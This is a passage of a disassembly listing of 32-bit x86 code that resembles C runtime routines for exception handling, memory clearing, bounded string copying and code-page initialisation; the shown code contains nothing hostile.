var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004140D1 SIZE 00000019 BYTES

		sub	esp, 14h
		push	ebx
		mov	ebx, [esp+18h+arg_4]
		push	ebp
		push	esi
		mov	esi, [ebx+8]
		xor	esi, dword_4231C4
		push	edi
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		mov	[esp+24h+var_11], 0
		mov	[esp+24h+var_C], 1
		lea	edi, [ebx+10h]
		jz	short loc_412838
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_410BCD


loc_412838:				; CODE XREF: sub_412800+29j
		mov	ecx, [esi+0Ch]
		mov	eax, [esi+8]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_410BCD
		mov	eax, [esp+24h+arg_0]
		test	byte ptr [eax+4], 66h
		jnz	loc_412975
		mov	ebp, [ebx+0Ch]
		cmp	ebp, 0FFFFFFFEh
		mov	ecx, [esp+24h+arg_8]
		lea	edx, [esp+24h+var_8]
		mov	[esp+24h+var_8], eax
		mov	[esp+24h+var_4], ecx
		mov	[ebx-4], edx
		jz	short loc_4128CF


loc_412871:				; CODE XREF: sub_412800+A2j
		lea	eax, [ebp+ebp*2+0]
		mov	ecx, [esi+eax*4+14h]
		test	ecx, ecx
		lea	ebx, [esi+eax*4+10h]
		mov	eax, [ebx]
		mov	[esp+24h+var_10], eax
		jz	short loc_41289D
		mov	edx, edi
		call	sub_4140BA
		test	eax, eax
		mov	[esp+24h+var_11], 1
		jl	short loc_4128DB
		jg	short loc_4128E5
		mov	eax, [esp+24h+var_10]


loc_41289D:				; CODE XREF: sub_412800+85j
		cmp	eax, 0FFFFFFFEh
		mov	ebp, eax
		jnz	short loc_412871
		cmp	[esp+24h+var_11], 0
		jz	short loc_4128CF


loc_4128AB:				; CODE XREF: sub_412800+E3j
					; sub_412800+191j
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_4128BF
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_410BCD


loc_4128BF:				; CODE XREF: sub_412800+B0j
		mov	ecx, [esi+0Ch]
		mov	eax, [esi+8]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_410BCD


loc_4128CF:				; CODE XREF: sub_412800+6Fj
					; sub_412800+A9j ...
		mov	eax, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_4128DB:				; CODE XREF: sub_412800+95j
		mov	[esp+24h+var_C], 0
		jmp	short loc_4128AB
; ---------------------------------------------------------------------------


loc_4128E5:				; CODE XREF: sub_412800+97j
		mov	ecx, [esp+24h+arg_0]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_41291B
		cmp	off_41CDFC, 0
		jz	short loc_41291B
		push	offset off_41CDFC
		call	sub_4152A2
		add	esp, 4
		test	eax, eax
		jz	short loc_41291B
		mov	edx, [esp+24h+arg_0]
		push	1
		push	edx
		call	off_41CDFC
		add	esp, 8


loc_41291B:				; CODE XREF: sub_412800+EFj
					; sub_412800+F8j ...
		mov	ecx, [esp+24h+arg_4]
		call	sub_4140EA
		mov	eax, [esp+24h+arg_4]
		cmp	[eax+0Ch], ebp
		jz	short loc_412940
		push	offset dword_4231C4
		push	edi
		mov	edx, ebp
		mov	ecx, eax
		call	sub_414104
		mov	eax, [esp+24h+arg_4]


loc_412940:				; CODE XREF: sub_412800+12Bj
		mov	ecx, [esp+24h+var_10]
		mov	[eax+0Ch], ecx
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_41295B
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_410BCD


loc_41295B:				; CODE XREF: sub_412800+14Cj
		mov	ecx, [esi+0Ch]
		mov	edx, [esi+8]
		add	ecx, edi
		xor	ecx, [edx+edi]
		call	sub_410BCD
		mov	ecx, [ebx+8]
		mov	edx, edi
		jmp	loc_4140D1
; ---------------------------------------------------------------------------


loc_412975:				; CODE XREF: sub_412800+50j
		cmp	dword ptr [ebx+0Ch], 0FFFFFFFEh
		jz	loc_4128CF
		push	offset dword_4231C4
		push	edi
		mov	ecx, ebx
		mov	edx, 0FFFFFFFEh
		call	sub_414104
		jmp	loc_4128AB
sub_412800	endp


; =============== S U B	R O U T	I N E =======================================



sub_412996	proc near		; CODE XREF: sub_40DBDC+CEp
					; sub_40DCD8+18p ...
		and	dword_42600C, 0
		retn
sub_412996	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41299E	proc near		; CODE XREF: sub_4129F5+31p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], edi
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		shr	ecx, 7
		pxor	xmm0, xmm0
		jmp	short loc_4129BE
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h, 4 dup(0)
		align 2


loc_4129BE:				; CODE XREF: sub_41299E+16j
					; sub_41299E+4Ej
		movdqa	oword ptr [edi], xmm0
		movdqa	oword ptr [edi+10h], xmm0
		movdqa	oword ptr [edi+20h], xmm0
		movdqa	oword ptr [edi+30h], xmm0
		movdqa	oword ptr [edi+40h], xmm0
		movdqa	oword ptr [edi+50h], xmm0
		movdqa	oword ptr [edi+60h], xmm0
		movdqa	oword ptr [edi+70h], xmm0
		lea	edi, [edi+80h]
		dec	ecx
		jnz	short loc_4129BE
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41299E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129F5	proc near		; CODE XREF: sub_40DD10+27j
					; sub_4129F5+7Dp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_4], edi
		mov	eax, [ebp+arg_0]
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		and	edi, 0Fh
		xor	edi, edx
		sub	edi, edx
		test	edi, edi
		jnz	short loc_412A4F
		mov	ecx, [ebp+arg_8]
		mov	edx, ecx
		and	edx, 7Fh
		mov	[ebp+var_C], edx
		cmp	ecx, edx
		jz	short loc_412A34
		sub	ecx, edx
		push	ecx
		push	eax
		call	sub_41299E
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_C]


loc_412A34:				; CODE XREF: sub_4129F5+2Bj
		test	edx, edx
		jz	short loc_412A7D
		add	eax, [ebp+arg_8]
		sub	eax, edx
		mov	[ebp+var_8], eax
		xor	eax, eax
		mov	edi, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		rep stosb
		mov	eax, [ebp+arg_0]
		jmp	short loc_412A7D
; ---------------------------------------------------------------------------


loc_412A4F:				; CODE XREF: sub_4129F5+1Cj
		neg	edi
		add	edi, 10h
		mov	[ebp+var_10], edi
		xor	eax, eax
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		rep stosb
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		add	ecx, eax
		sub	edx, eax
		push	edx
		push	0
		push	ecx
		call	sub_4129F5
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]


loc_412A7D:				; CODE XREF: sub_4129F5+41j
					; sub_4129F5+58j
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4129F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_412A84	proc near		; DATA XREF: .vty:0041C230o
		and	dword_426004, 0
		call	sub_4183E1
		mov	dword_426004, eax
		xor	eax, eax
		retn
sub_412A84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A98	proc near		; CODE XREF: sub_40DE0A+7p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_41FA10
		call	__SEH_prolog4
		push	0Eh
		call	sub_416DA6
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_412AE9
		mov	eax, dword_424400
		mov	edx, offset dword_4243FC


loc_412AC4:				; CODE XREF: sub_412A98+65j
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_412ADC
		cmp	[eax], ecx
		jnz	short loc_412AFB
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		push	eax
		call	sub_41112C
		pop	ecx


loc_412ADC:				; CODE XREF: sub_412A98+31j
		push	dword ptr [esi+4]
		call	sub_41112C
		pop	ecx
		and	dword ptr [esi+4], 0


loc_412AE9:				; CODE XREF: sub_412A98+20j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_412AFF
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_412AFB:				; CODE XREF: sub_412A98+35j
		mov	edx, eax
		jmp	short loc_412AC4
sub_412A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_412AFF	proc near		; CODE XREF: sub_412A98+58p
		push	0Eh
		call	sub_416CCE
		pop	ecx
		retn
sub_412AFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_412B08	proc near		; CODE XREF: sub_412755+9p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_424404, eax
		retn
sub_412B08	endp


; =============== S U B	R O U T	I N E =======================================



sub_412B12	proc near		; CODE XREF: sub_40DE68+Bp
					; sub_411069+8Cp ...

arg_0		= dword	ptr  4

		push	dword_424404
		call	sub_411DBF
		test	eax, eax
		pop	ecx
		jz	short loc_412B31
		push	[esp+arg_0]
		call	eax ; sub_41AEA1
		test	eax, eax
		pop	ecx
		jz	short loc_412B31
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_412B31:				; CODE XREF: sub_412B12+Ej
					; sub_412B12+19j
		xor	eax, eax
		retn
sub_412B12	endp


; =============== S U B	R O U T	I N E =======================================



sub_412B34	proc near		; CODE XREF: sub_40F6D9+9p
					; sub_40F6D9:loc_40F6EBp
		mov	eax, offset dword_423280
		retn
sub_412B34	endp


; =============== S U B	R O U T	I N E =======================================



sub_412B3A	proc near		; CODE XREF: sub_40F6D9:loc_40F6F2p
		mov	eax, offset off_4231D0
		retn
sub_412B3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B40	proc near		; CODE XREF: sub_41422C+F1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		push	edi
		jnz	short loc_412B60
		cmp	esi, ebx
		jnz	short loc_412B64
		cmp	[ebp+arg_4], ebx
		jnz	short loc_412B6B


loc_412B59:				; CODE XREF: sub_412B40+4Dj
					; sub_412B40+8Cj
		xor	eax, eax


loc_412B5B:				; CODE XREF: sub_412B40+44j
					; sub_412B40+9Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_412B60:				; CODE XREF: sub_412B40+Ej
		cmp	esi, ebx
		jz	short loc_412B6B


loc_412B64:				; CODE XREF: sub_412B40+12j
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		ja	short loc_412B86


loc_412B6B:				; CODE XREF: sub_412B40+17j
					; sub_412B40+22j ...
		call	sub_40F79E
		push	16h
		pop	esi
		mov	[eax], esi


loc_412B75:				; CODE XREF: sub_412B40+B1j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40DCD8
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_412B5B
; ---------------------------------------------------------------------------


loc_412B86:				; CODE XREF: sub_412B40+29j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_412B8F
		mov	[esi], bl
		jmp	short loc_412B59
; ---------------------------------------------------------------------------


loc_412B8F:				; CODE XREF: sub_412B40+49j
		mov	edx, [ebp+arg_8]
		cmp	edx, ebx
		jnz	short loc_412B9A
		mov	[esi], bl
		jmp	short loc_412B6B
; ---------------------------------------------------------------------------


loc_412B9A:				; CODE XREF: sub_412B40+54j
		cmp	[ebp+arg_C], 0FFFFFFFFh
		mov	eax, esi
		jnz	short loc_412BB1


loc_412BA2:				; CODE XREF: sub_412B40+6Dj
		mov	cl, [edx]
		mov	[eax], cl
		inc	eax
		inc	edx
		cmp	cl, bl
		jz	short loc_412BCA
		dec	edi
		jnz	short loc_412BA2
		jmp	short loc_412BCA
; ---------------------------------------------------------------------------


loc_412BB1:				; CODE XREF: sub_412B40+60j
					; sub_412B40+81j
		mov	cl, [edx]
		mov	[eax], cl
		inc	eax
		inc	edx
		cmp	cl, bl
		jz	short loc_412BC3
		dec	edi
		jz	short loc_412BC3
		dec	[ebp+arg_C]
		jnz	short loc_412BB1


loc_412BC3:				; CODE XREF: sub_412B40+79j
					; sub_412B40+7Cj
		cmp	[ebp+arg_C], ebx
		jnz	short loc_412BCA
		mov	[eax], bl


loc_412BCA:				; CODE XREF: sub_412B40+6Aj
					; sub_412B40+6Fj ...
		cmp	edi, ebx
		jnz	short loc_412B59
		cmp	[ebp+arg_C], 0FFFFFFFFh
		jnz	short loc_412BE3
		mov	eax, [ebp+arg_4]
		push	50h
		mov	[esi+eax-1], bl
		pop	eax
		jmp	loc_412B5B
; ---------------------------------------------------------------------------


loc_412BE3:				; CODE XREF: sub_412B40+92j
		mov	[esi], bl
		call	sub_40F79E
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_412B75
sub_412B40	endp


; =============== S U B	R O U T	I N E =======================================



sub_412BF3	proc near		; CODE XREF: sub_412F1F+11Ep
					; sub_412F1F+173p
		sub	eax, 3A4h
		jz	short loc_412C1C
		sub	eax, 4
		jz	short loc_412C16
		sub	eax, 0Dh
		jz	short loc_412C10
		dec	eax
		jz	short loc_412C0A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_412C0A:				; CODE XREF: sub_412BF3+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_412C10:				; CODE XREF: sub_412BF3+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_412C16:				; CODE XREF: sub_412BF3+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_412C1C:				; CODE XREF: sub_412BF3+5j
		mov	eax, 411h
		retn
sub_412BF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_412C22	proc near		; CODE XREF: sub_412F1F+2Bp
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, 101h
		mov	esi, eax
		push	ebp
		xor	edi, edi
		lea	ebx, [esi+1Ch]
		push	edi
		push	ebx
		call	sub_40DD10
		mov	[esi+4], edi
		mov	[esi+8], edi
		mov	[esi+0Ch], edi
		xor	eax, eax
		lea	edi, [esi+10h]
		stosd
		stosd
		stosd
		mov	eax, offset dword_423288
		add	esp, 0Ch
		sub	eax, esi


loc_412C55:				; CODE XREF: sub_412C22+3Aj
		mov	cl, [eax+ebx]
		mov	[ebx], cl
		inc	ebx
		dec	ebp
		jnz	short loc_412C55
		lea	ecx, [esi+11Dh]
		mov	esi, 100h


loc_412C69:				; CODE XREF: sub_412C22+4Ej
		mov	dl, [ecx+eax]
		mov	[ecx], dl
		inc	ecx
		dec	esi
		jnz	short loc_412C69
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_412C22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=49Ch


sub_412C77	proc near		; CODE XREF: sub_412F1F+141p

var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_512		= byte ptr -512h
var_511		= byte ptr -511h
var_504		= word ptr -504h
var_304		= byte ptr -304h
var_204		= byte ptr -204h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-49Ch]
		sub	esp, 51Ch
		mov	eax, dword_4231C4
		xor	eax, ebp
		mov	[ebp+49Ch+var_4], eax
		push	ebx
		push	edi
		lea	eax, [ebp+49Ch+var_518]
		push	eax
		push	dword ptr [esi+4]
		call	dword_41C160	; GetCPInfo
		test	eax, eax
		mov	edi, 100h
		jz	loc_412D9D
		xor	eax, eax


loc_412CB0:				; CODE XREF: sub_412C77+43j
		mov	[ebp+eax+49Ch+var_104],	al
		inc	eax
		cmp	eax, edi
		jb	short loc_412CB0
		mov	al, [ebp+49Ch+var_512]
		test	al, al
		mov	[ebp+49Ch+var_104], 20h
		jz	short loc_412CF5
		lea	ebx, [ebp+49Ch+var_511]


loc_412CCD:				; CODE XREF: sub_412C77+7Cj
		movzx	ecx, al
		movzx	eax, byte ptr [ebx]
		cmp	ecx, eax
		ja	short loc_412CED
		sub	eax, ecx
		inc	eax
		push	eax
		lea	edx, [ebp+ecx+49Ch+var_104]
		push	20h
		push	edx
		call	sub_40DD10
		add	esp, 0Ch


loc_412CED:				; CODE XREF: sub_412C77+5Ej
		inc	ebx
		mov	al, [ebx]
		inc	ebx
		test	al, al
		jnz	short loc_412CCD


loc_412CF5:				; CODE XREF: sub_412C77+51j
		push	0
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+49Ch+var_504]
		push	dword ptr [esi+4]
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	1
		push	0
		call	sub_418606
		xor	ebx, ebx
		push	ebx
		push	dword ptr [esi+4]
		lea	eax, [ebp+49Ch+var_204]
		push	edi
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	edi
		push	dword ptr [esi+0Ch]
		push	ebx
		call	sub_413945
		add	esp, 44h
		push	ebx
		push	dword ptr [esi+4]
		lea	eax, [ebp+49Ch+var_304]
		push	edi
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	200h
		push	dword ptr [esi+0Ch]
		push	ebx
		call	sub_413945
		add	esp, 24h
		xor	eax, eax


loc_412D5C:				; CODE XREF: sub_412C77+122j
		movzx	ecx, [ebp+eax*2+49Ch+var_504]
		test	cl, 1
		jz	short loc_412D74
		or	byte ptr [esi+eax+1Dh],	10h
		mov	cl, [ebp+eax+49Ch+var_204]
		jmp	short loc_412D85
; ---------------------------------------------------------------------------


loc_412D74:				; CODE XREF: sub_412C77+EDj
		test	cl, 2
		jz	short loc_412D8E
		or	byte ptr [esi+eax+1Dh],	20h
		mov	cl, [ebp+eax+49Ch+var_304]


loc_412D85:				; CODE XREF: sub_412C77+FBj
		mov	[esi+eax+11Dh],	cl
		jmp	short loc_412D96
; ---------------------------------------------------------------------------


loc_412D8E:				; CODE XREF: sub_412C77+100j
		mov	byte ptr [esi+eax+11Dh], 0


loc_412D96:				; CODE XREF: sub_412C77+115j
		inc	eax
		cmp	eax, edi
		jb	short loc_412D5C
		jmp	short loc_412DEA
; ---------------------------------------------------------------------------


loc_412D9D:				; CODE XREF: sub_412C77+31j
		lea	eax, [esi+11Dh]
		mov	[ebp+49Ch+var_51C], 0FFFFFF9Fh
		xor	ecx, ecx
		sub	[ebp+49Ch+var_51C], eax


loc_412DAF:				; CODE XREF: sub_412C77+171j
		mov	edx, [ebp+49Ch+var_51C]
		lea	eax, [esi+ecx+11Dh]
		add	edx, eax
		lea	ebx, [edx+20h]
		cmp	ebx, 19h
		ja	short loc_412DCF
		or	byte ptr [esi+ecx+1Dh],	10h
		mov	dl, cl
		add	dl, 20h
		jmp	short loc_412DDE
; ---------------------------------------------------------------------------


loc_412DCF:				; CODE XREF: sub_412C77+14Aj
		cmp	edx, 19h
		ja	short loc_412DE2
		or	byte ptr [esi+ecx+1Dh],	20h
		mov	dl, cl
		sub	dl, 20h


loc_412DDE:				; CODE XREF: sub_412C77+156j
		mov	[eax], dl
		jmp	short loc_412DE5
; ---------------------------------------------------------------------------


loc_412DE2:				; CODE XREF: sub_412C77+15Bj
		mov	byte ptr [eax],	0


loc_412DE5:				; CODE XREF: sub_412C77+169j
		inc	ecx
		cmp	ecx, edi
		jb	short loc_412DAF


loc_412DEA:				; CODE XREF: sub_412C77+124j
		mov	ecx, [ebp+49Ch+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_410BCD
		add	ebp, 49Ch
		leave
		retn
sub_412C77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E01	proc near		; CODE XREF: sub_40F7E2+57p
					; sub_4130CA+1Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_41FA30
		call	__SEH_prolog4
		call	sub_411FFD
		mov	edi, eax
		mov	eax, dword_4237AC
		test	[edi+70h], eax
		jz	short loc_412E3B
		cmp	dword ptr [edi+6Ch], 0
		jz	short loc_412E3B
		mov	esi, [edi+68h]


loc_412E27:				; CODE XREF: sub_412E01+96j
		test	esi, esi
		jnz	short loc_412E33
		push	20h
		call	sub_412499
		pop	ecx


loc_412E33:				; CODE XREF: sub_412E01+28j
		mov	eax, esi
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_412E3B:				; CODE XREF: sub_412E01+1Bj
					; sub_412E01+21j
		push	0Dh
		call	sub_416DA6
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [edi+68h]
		mov	[ebp+var_1C], esi
		cmp	esi, dword_4236B0
		jz	short loc_412E8B
		test	esi, esi
		jz	short loc_412E73
		push	esi
		call	dword_41C158	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_412E73
		cmp	esi, offset dword_423288
		jz	short loc_412E73
		push	esi
		call	sub_41112C
		pop	ecx


loc_412E73:				; CODE XREF: sub_412E01+56j
					; sub_412E01+61j ...
		mov	eax, dword_4236B0
		mov	[edi+68h], eax
		mov	esi, dword_4236B0
		mov	[ebp+var_1C], esi
		push	esi
		call	dword_41C150	; InterlockedIncrement


loc_412E8B:				; CODE XREF: sub_412E01+52j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_412E9C
		jmp	short loc_412E27
sub_412E01	endp


; =============== S U B	R O U T	I N E =======================================



sub_412E99	proc near		; DATA XREF: .vty:0041FA48o
		mov	esi, [ebp-1Ch]
sub_412E99	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412E9C	proc near		; CODE XREF: sub_412E01+91p
		push	0Dh
		call	sub_416CCE
		pop	ecx
		retn
sub_412E9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412EA5	proc near		; CODE XREF: sub_412F1F+19p
					; sub_4130CA+25p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		push	ebx
		lea	ecx, [ebp+var_10]
		call	sub_40F7E2
		cmp	esi, 0FFFFFFFEh
		mov	dword_424408, ebx
		jnz	short loc_412EE0
		mov	dword_424408, 1
		call	dword_41C168	; GetOEMCP


loc_412ED2:				; CODE XREF: sub_412EA5+50j
					; sub_412EA5+67j
		cmp	[ebp+var_4], bl
		jz	short loc_412F1C
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_412F1C
; ---------------------------------------------------------------------------


loc_412EE0:				; CODE XREF: sub_412EA5+1Bj
		cmp	esi, 0FFFFFFFDh
		jnz	short loc_412EF7
		mov	dword_424408, 1
		call	dword_41C164	; GetACP
		jmp	short loc_412ED2
; ---------------------------------------------------------------------------


loc_412EF7:				; CODE XREF: sub_412EA5+3Ej
		cmp	esi, 0FFFFFFFCh
		jnz	short loc_412F0E
		mov	eax, [ebp+var_10]
		mov	eax, [eax+4]
		mov	dword_424408, 1
		jmp	short loc_412ED2
; ---------------------------------------------------------------------------


loc_412F0E:				; CODE XREF: sub_412EA5+55j
		cmp	[ebp+var_4], bl
		jz	short loc_412F1A
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_412F1A:				; CODE XREF: sub_412EA5+6Cj
		mov	eax, esi


loc_412F1C:				; CODE XREF: sub_412EA5+30j
					; sub_412EA5+39j
		pop	ebx
		leave
		retn
sub_412EA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F1F	proc near		; CODE XREF: sub_4130CA+5Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, dword_4231C4
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		call	sub_412EA5
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		mov	[ebp+arg_0], edi
		jnz	short loc_412F56


loc_412F48:				; CODE XREF: sub_412F1F+193j
		mov	eax, ebx
		call	sub_412C22


loc_412F4F:				; CODE XREF: sub_412F1F+146j
		xor	eax, eax
		jmp	loc_4130BB
; ---------------------------------------------------------------------------


loc_412F56:				; CODE XREF: sub_412F1F+27j
		mov	[ebp+var_1C], esi
		xor	eax, eax


loc_412F5B:				; CODE XREF: sub_412F1F+4Fj
		cmp	dword_4236B8[eax], edi
		jz	short loc_412FCA
		inc	[ebp+var_1C]
		add	eax, 30h
		cmp	eax, 0F0h
		jb	short loc_412F5B
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		call	dword_41C160	; GetCPInfo
		test	eax, eax
		jz	loc_4130AC
		push	101h
		lea	eax, [ebx+1Ch]
		push	esi
		push	eax
		call	sub_40DD10
		xor	edx, edx
		inc	edx
		add	esp, 0Ch
		cmp	[ebp+var_18], edx
		mov	[ebx+4], edi
		mov	[ebx+0Ch], esi
		jbe	loc_41309F
		cmp	[ebp+var_12], 0
		jz	loc_413080
		lea	esi, [ebp+var_11]


loc_412FB4:				; CODE XREF: sub_412F1F+15Bj
		mov	cl, [esi]
		test	cl, cl
		jz	loc_413080
		movzx	eax, byte ptr [esi-1]
		movzx	ecx, cl
		jmp	loc_413070
; ---------------------------------------------------------------------------


loc_412FCA:				; CODE XREF: sub_412F1F+42j
		push	101h
		lea	eax, [ebx+1Ch]
		push	esi
		push	eax
		call	sub_40DD10
		mov	ecx, [ebp+var_1C]
		add	esp, 0Ch
		imul	ecx, 30h
		mov	[ebp+var_20], esi
		lea	esi, dword_4236C8[ecx]
		mov	[ebp+var_1C], esi
		jmp	short loc_41301A
; ---------------------------------------------------------------------------


loc_412FF0:				; CODE XREF: sub_412F1F+FEj
		mov	al, [esi+1]
		test	al, al
		jz	short loc_41301F
		movzx	edi, byte ptr [esi]
		movzx	eax, al
		jmp	short loc_413011
; ---------------------------------------------------------------------------


loc_412FFF:				; CODE XREF: sub_412F1F+F4j
		mov	eax, [ebp+var_20]
		mov	al, byte_4236B4[eax]
		or	[ebx+edi+1Dh], al
		movzx	eax, byte ptr [esi+1]
		inc	edi


loc_413011:				; CODE XREF: sub_412F1F+DEj
		cmp	edi, eax
		jbe	short loc_412FFF
		mov	edi, [ebp+arg_0]
		inc	esi
		inc	esi


loc_41301A:				; CODE XREF: sub_412F1F+CFj
					; sub_412F1F+110j
		cmp	byte ptr [esi],	0
		jnz	short loc_412FF0


loc_41301F:				; CODE XREF: sub_412F1F+D6j
		mov	esi, [ebp+var_1C]
		inc	[ebp+var_20]
		add	esi, 8
		cmp	[ebp+var_20], 4
		mov	[ebp+var_1C], esi
		jb	short loc_41301A
		mov	eax, edi
		mov	[ebx+4], edi
		mov	dword ptr [ebx+8], 1
		call	sub_412BF3
		push	6
		mov	[ebx+0Ch], eax
		lea	eax, [ebx+10h]
		lea	ecx, dword_4236BC[ecx]
		pop	edx


loc_413051:				; CODE XREF: sub_412F1F+13Dj
		mov	si, [ecx]
		inc	ecx
		mov	[eax], si
		inc	ecx
		inc	eax
		inc	eax
		dec	edx
		jnz	short loc_413051


loc_41305E:				; CODE XREF: sub_412F1F+18Bj
		mov	esi, ebx
		call	sub_412C77
		jmp	loc_412F4F
; ---------------------------------------------------------------------------


loc_41306A:				; CODE XREF: sub_412F1F+153j
		or	byte ptr [ebx+eax+1Dh],	4
		inc	eax


loc_413070:				; CODE XREF: sub_412F1F+A6j
		cmp	eax, ecx
		jbe	short loc_41306A
		inc	esi
		inc	esi
		cmp	byte ptr [esi-1], 0
		jnz	loc_412FB4


loc_413080:				; CODE XREF: sub_412F1F+8Cj
					; sub_412F1F+99j
		lea	eax, [ebx+1Eh]
		mov	ecx, 0FEh


loc_413088:				; CODE XREF: sub_412F1F+16Ej
		or	byte ptr [eax],	8
		inc	eax
		dec	ecx
		jnz	short loc_413088
		mov	eax, [ebx+4]
		call	sub_412BF3
		mov	[ebx+0Ch], eax
		mov	[ebx+8], edx
		jmp	short loc_4130A2
; ---------------------------------------------------------------------------


loc_41309F:				; CODE XREF: sub_412F1F+82j
		mov	[ebx+8], esi


loc_4130A2:				; CODE XREF: sub_412F1F+17Ej
		xor	eax, eax
